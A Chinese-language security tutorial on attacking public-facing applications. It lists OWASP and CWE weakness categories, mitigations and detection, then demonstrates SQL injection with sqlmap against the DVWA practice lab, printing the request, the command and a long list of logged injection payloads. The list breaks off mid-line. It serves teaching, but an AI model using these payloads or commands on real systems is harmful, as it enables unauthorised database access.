Exploit Public-Facing Application:即攻击对外开放的服务。这些服务通常为Web,也可能是数据库、标准服务如SMB、SSH 或者其他通过sockets能访问到的服务。
可选择的攻击手法
对外开放的服务主要以Web和数据库为主,针对这两种类型,可以关注owasp top 10以及CWE top 25
- Owasp top 10
- 注入。如sql注入,OS注入,LDAP注入等
- 不恰当的认证。即认证绕过,通过泄漏的账号等
- 敏感数据泄漏。如敏感API
- XXE。
- 失效的访问控制。如通过越权获取敏感数据、提升权限等
- 错误的安全配置。默认配置不安全
- XSS
- 不安全的反序列化
- 已知组件的漏洞
- 日志监控不足
- CWE top 25
1. CWE-119 对内存缓冲区内的操作限制不当
2. CWE-79 跨站脚本
3. CWE-20 输入验证不当
4. CWE-200 信息泄露
5. CWE-125 越界读取
6. CWE-89 SQL注入
7. CWE-416 释放后重用
8. CWE-190 整数溢出或环绕
9. CWE-352 跨站请求伪造
10. CWE-22 路径遍历
11. CWE-78 OS命令注入
12. CWE-787 越界写入
13. CWE-287 授权不当
14. CWE-476 空指针逆向引用
15. CWE-732 对关键资源的权限分配错误
16. CWE-434 未限制上传威胁类型的文件
17. CWE-611 对XML外部实体引用限制不当
18. CWE-94 代码注入
19. CWE-798 使用硬编码凭据
20. CWE-400 不受控制的资源消耗
21. CWE-772 有效生命期后未能释放资源
22. CWE-426 不可信的搜索路径
23. CWE-502 对不可信的数据反序列化
24. CWE-269 权限管理不当
25. CWE-295 证书验证不当
缓解措施
- 应用隔离和沙盒。如docker
- 攻击防护。如Web应用防火墙
- 网络隔离。即进行网络划分,DMZ区
- 账号权限控制。即对每个对外开放的服务,设置最小权限的账号运行
- 软件更新
- 漏洞扫描。定期进行漏洞扫描
检测方式
- 应用日志监控。可以发现潜在或已经成功的一些攻击
- Web应用防火墙。监控发现一些不正常或攻击行为
Exploit Public-Facing Application 利用演示( SQL注入)
这里以dvwa为靶机配合sqlmap进行注入演示,搭建过程不表
1. Dvwa 安全等级为low时
抓包获得请求包,保存在aa.txt
GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: 192.168.43.55
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.43.55/dvwa/vulnerabilities/sqli/
Cookie: security=low; PHPSESSID=thfau2ofgrqbn2p0fodmprp713
Upgrade-Insecure-Requests: 1
sqlmap执行
Sqlmap -r aa.txt —dbs --batch
成功获取到其数据库名列表
这里我在dvwa里加了几句代码,记录sqlmap注入的主要一些语句
$fp = fopen("sqlmap.txt", "a");
fwrite($fp, $query."\r\n");
fclose($fp);
查看sqlmap.txt依此发现主要有以下payload
1(').)))..”
1'fDjLBt<'">pwFrMe
1) AND 6333=9344 AND (4623=4623
1) AND 4248=4248 AND (9599=9599
1 AND 2775=8639
1 AND 4248=4248
1 AND 4120=2112-- Gous
1 AND 4248=4248-- nNEX
1') AND 1498=2480 AND ('HmyD'='HmyD
1') AND 4248=4248 AND ('OvUJ'='OvUJ
1' AND 2150=9004 AND 'xLOZ'='xLOZ
1' AND 4248=4248 AND 'POlE'='POlE
1' AND 4282=8305 AND 'AifD'=‘AifD
(SELECT (CASE WHEN (9027=3511) THEN 1 ELSE (SELECT 3511 UNION SELECT 3208) END))
(SELECT (CASE WHEN (9001=9001) THEN 1 ELSE (SELECT 2292 UNION SELECT 1880) END))
1) AND 9819=8399#
1) AND 3197=3197#
1)) AND 5386=6564#
1)) AND 3197=3197#
1))) AND 9530=9202#
1))) AND 3197=3197#
1 AND 4940=6897#
1 AND 3197=3197#
1)) AS FFRM WHERE 8501=8501 AND 4858=1954#
1)) AS GCXV WHERE 5735=5735 AND 3197=3197#
1) AS xdch WHERE 2009=2009 AND 2607=9705#
1) AS Savx WHERE 2268=2268 AND 3197=3197#
1` WHERE 8279=8279 AND 2839=8914#
1` WHERE 2940=2940 AND 3197=3197#
1`) WHERE 1840=1840 AND 1431=8600#
1`) WHERE 4728=4728 AND 3197=3197#
1') AND 9880=8210#
1') AND 3197=3197#
1' AND 1999=6529#
1' AND 3197=3197#
1' AND 6733=3944#
1" AND 7252=8487#
1" AND 3197=3197#
1')) AND 4099=7850#
1')) AND 3197=3197#
1'))) AND 4488=2453#
1'))) AND 3197=3197#
1") AND 9985=3085#
1") AND 3197=3197#
1")) AND 3749=8195#
1")) AND 3197=3197#
1"))) AND 8400=1024#
1"))) AND 3197=3197#
1')) AS LnoW WHERE 1042=1042 AND 2785=9517#
1')) AS Nkmr WHERE 8969=8969 AND 3197=3197#
1")) AS YZIT WHERE 8680=8680 AND 8087=3673#
1")) AS ZQoV WHERE 5245=5245 AND 3197=31